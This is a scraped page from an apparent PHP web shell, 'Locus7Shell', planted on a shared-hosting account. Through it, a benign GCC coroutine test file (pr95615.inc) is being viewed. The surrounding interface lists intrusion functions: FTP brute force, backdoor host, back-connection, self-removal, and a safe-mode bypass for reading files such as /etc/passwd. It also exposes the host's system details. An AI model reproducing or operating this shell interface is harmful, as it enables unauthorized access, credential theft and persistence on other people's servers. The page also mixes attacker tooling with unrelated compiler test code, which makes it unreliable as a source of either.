Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/coroutines/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr95615.inc (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#if __has_include(<coroutine>)
#include <coroutine>
#else
#include <experimental/coroutine>
namespace std {
    using namespace std::experimental;
}
#endif
#include <cassert>
#include <cstdio>
#include <cstdlib>

bool frame_live = false;
bool promise_live = false;
bool gro_live = false;

struct X {};

int Y_live = 0;

struct Y
{
  Y () { std::puts("Y ()"); Y_live++; } 
  Y (const Y&) { std::puts("Y (const Y&)"); Y_live++; } 
  ~Y () { std::puts("~Y ()"); Y_live--; }
};

struct task {
    struct promise_type {
        void* operator new(size_t sz) {
            std::puts("operator new()");
            frame_live = true;
            return ::operator new(sz);
        }

        void operator delete(void* p, size_t sz) {
            std::puts("operator delete");
            frame_live = false;
            return ::operator delete(p, sz);
        }

        promise_type() {
            std::puts("promise_type()");
#if PROMISE_CTOR_THROWS
             throw X{};
#endif
            promise_live = true;
        }

        ~promise_type() {
            std::puts("~promise_type()");
            promise_live = false;
        }

        struct awaiter {
            bool await_ready() {
#if INITIAL_AWAIT_READY_THROWS
               throw X{};
#endif
               return false;
            }
            void await_suspend(std::coroutine_handle<>) {
#if INITIAL_AWAIT_SUSPEND_THROWS
                throw X{};
#endif
            }
            void await_resume() {
#if INITIAL_AWAIT_RESUME_THROWS
// this would be caught by unhandled_exception () which is tested
// elsewhere.
                throw X{};
#endif
            }
        };

        awaiter initial_suspend() {
#if INITIAL_SUSPEND_THROWS
            throw X{};
#endif
            return {};
        }

        task get_return_object() {
            std::puts("get_return_object()");
#if GET_RETURN_OBJECT_THROWS
            throw X{};
#endif
        bool gro_live = true;
            return task{};
        }

        std::suspend_never final_suspend() noexcept { return {}; }
        void return_void() noexcept {}
        void unhandled_exception() noexcept {
            std::puts("unhandled_exception()");
        }
    };

    task() { std::puts("task()"); }
    ~task() { std::puts("~task()"); }
    task(task&&) { std::puts("task(task&&)"); }
};

task f(Y Val) {
    co_return;
}

int main() {
    bool failed = false;
    Y Val;
    try {
        f(Val);
    } catch (X) {
        std::puts("caught X");
        if (gro_live)
          std::puts("gro live"), failed = true;
        if (promise_live)
          std::puts("promise live"), failed = true;
        if (frame_live)
          std::puts("frame live"), failed = true;
    }

  if (Y_live != 1)
    std::printf("Y live %d\n", Y_live), failed = true;

  if (failed)
    abort() ;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0066 ]--